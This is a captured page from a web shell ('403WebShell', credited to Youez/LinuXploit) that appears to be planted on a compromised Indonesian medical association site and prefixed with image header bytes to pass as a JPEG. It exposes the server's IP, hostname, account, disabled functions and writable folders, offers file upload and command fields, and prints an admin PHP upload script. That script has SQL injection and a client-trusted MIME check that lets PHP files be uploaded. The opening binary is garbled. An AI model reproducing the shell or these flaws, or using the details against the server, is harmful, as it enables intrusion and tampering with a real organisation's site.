JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.223  /  Your IP : 216.73.217.31
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/gall-tambah.php
<?php 
// menghubungkan dengan koneksi
include "koneksi.php";
// mengaktifkan session php
session_start();
if($_SESSION['status'] !="login"){
	header("location:../");
}

if (isset($_POST['judul'])){ //periksa apakah user telah menekan submit, dengan menggunakan parameter setingan spek
	$judul=ucwords(htmlentities($_POST['judul']));
	$deskripsi=$_POST['deskripsi'];
	$status=$_POST['status'];
	$date = date('d / M / Y'); // fungsi tanggal php 11 / Feb / 2001
	$id_kategori=$_POST['kategori'];  
	$fotodoc=$_FILES['fotodoc']['name'];
	$type=$_FILES['fotodoc']['type'];
	$posisi=$_POST['posisi']; 
			
	//if ($judul=="" || $deskripsi=="" ){ //periksa jika data yang dimasukan belum lengkap
		if ($judul=="" ){ //periksa jika data yang dimasukan belum lengkap

		?><script> alert ("Data Anda belum lengkap!");</script><?php
		}else{	
			$uploaddir='../../assets/img/gallery/';
			$alamatgambar=$uploaddir.$_FILES['fotodoc']['name'];
			//$alamatdatabase='post/'.$_FILES['fotodoc']['name'];
		   $alamatdatabase= $_FILES['fotodoc']['name'];

			if($_FILES["fotodoc"]["type"]=="image/jpeg" || $_FILES["fotodoc"]["type"]=="image/jpg" || $_FILES["fotodoc"]["type"]=="image/gif" || $_FILES["fotodoc"]["type"]=="image/png"){ //periksa apakah gambar formatnya sudah gambar haha
				if (move_uploaded_file($_FILES['fotodoc']['tmp_name'],$alamatgambar)){ //periksa jika proses upload berjalan sukses
					$upload=mysqli_query($konek,"INSERT INTO gallery(judul,content,status, gambar_utama, publish_date, id_kategori,posisi) VALUES('$judul','$deskripsi','$status','$alamatdatabase', '$date', '$id_kategori', '$posisi')");
					header("location:gall-list.php?pesan=Tambah post berhasil, selamat");
				}else{
					header("location:gall-list.php?pesan=gagal tambah post, coba lagi!");
				}
			}else{
				?><script> alert ("bukan gambar, coba lagi!");</script><?php
			}
		}		
}else{
	unset($_POST['judul']);
}
?>
<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">
<head>
    <title>IDI Bandung | Tambah gallery</title>
    <!-- Custom fonts for this template-->
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">

  <!-- Custom styles for this template-->
  <link href="css/sb-admin-2.min.css" rel="stylesheet">
  
  <!-- Custom styles for this page -->
  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">
   <!-- Tiny MCE -->
  <script src="vendor/tinymce/tinymce.min.js"></script>
  
  <script type='text/javascript'> 
	tinymce.init({
  selector: 'textarea#exampleTextarea'
});
  </script>
</head>
<body id="page-top">

<!-- Page Wrapper -->
  <div id="wrapper">
  	<?php include "sidebar.php"; ?>
    
    <!-- Content Wrapper -->
    <div id="content-wrapper" class="d-flex flex-column">

      <!-- Main Content -->
      <div id="content">
      
      <?php include "topbar.php";?>
      
      	<!-- Begin Page Content -->
        <div class="container-fluid">
          <!-- DataTales Example -->
          <div class="card shadow mb-4">
            <div class="card-header py-3">
              <h6 class="m-0 font-weight-bold text-primary">Tambah Post</h6>
            </div>
            <div class="card-body">
              <div class="table-responsive">
               <form class="user" action="gall-tambah.php" enctype="multipart/form-data" method="post">
                    <div class="form-group">
                      <input type="text" name="judul" class="form-control" id="exampleInputJudul" placeholder="Judul exs: Slider_01, Gallery_01, Com_01 dst...">
                    </div>
                 
                  
                  <div class="form-group">
                      <label for="tbayar">Posisi</label>
   						<select class="form-control" name="posisi" style="width:200px;">
                             <option value="slider">Slider</option>
							<option value="iklan">Iklan</option>	
                            <option value="gallery">Gallery</option>
                            <option value="non">Non Publish</option>
                    </select> 
                    </div>         
                            		
                
                    <div class="form-group">
                    <label><strong>Gambar ukuran </strong><br>
                    					 Slider : max 1000x1200 px <br>
                                         Galery : max 600x800 px <br>
                                         Iklan  : max 300x200 px <br>
                    </label><br/>
                     <label><strong>Pilih Gambar :</strong><br>
                    </label><br/>
                    <input type="file" name="fotodoc" size="30" id="gambar"/>
                    <input type="hidden" name="MAX_FILE_SIZE" value="7000000" id="gambar">
                    <br>
                    </div>
                 
                    <div class="form-group">
                    <button style="width:200px; float:right;" class="btn btn-primary btn-block">
                      Publish
                    </button>
                    </div>
                </form>
              </div>
            </div>
          </div>
          
          
        </div>
         <!-- End Page Content -->
      </div>
      <!-- End Content Wrapper -->
     <?php include "footer.php";?>

    </div>
    <!-- End Main Content -->
    </div>
    <!-- End Page Wrapper -->
   <!-- Bootstrap core JavaScript-->
  <script src="vendor/jquery/jquery.min.js"></script>
  <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

  <!-- Core plugin JavaScript-->
  <script src="vendor/jquery-easing/jquery.easing.min.js"></script>

  <!-- Custom scripts for all pages-->
  <script src="js/sb-admin-2.min.js"></script>

  <!-- Page level plugins -->
  <script src="vendor/datatables/jquery.dataTables.min.js"></script>
  <script src="vendor/datatables/dataTables.bootstrap4.min.js"></script>

  <!-- Page level custom scripts -->
  <script src="js/demo/datatables-demo.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit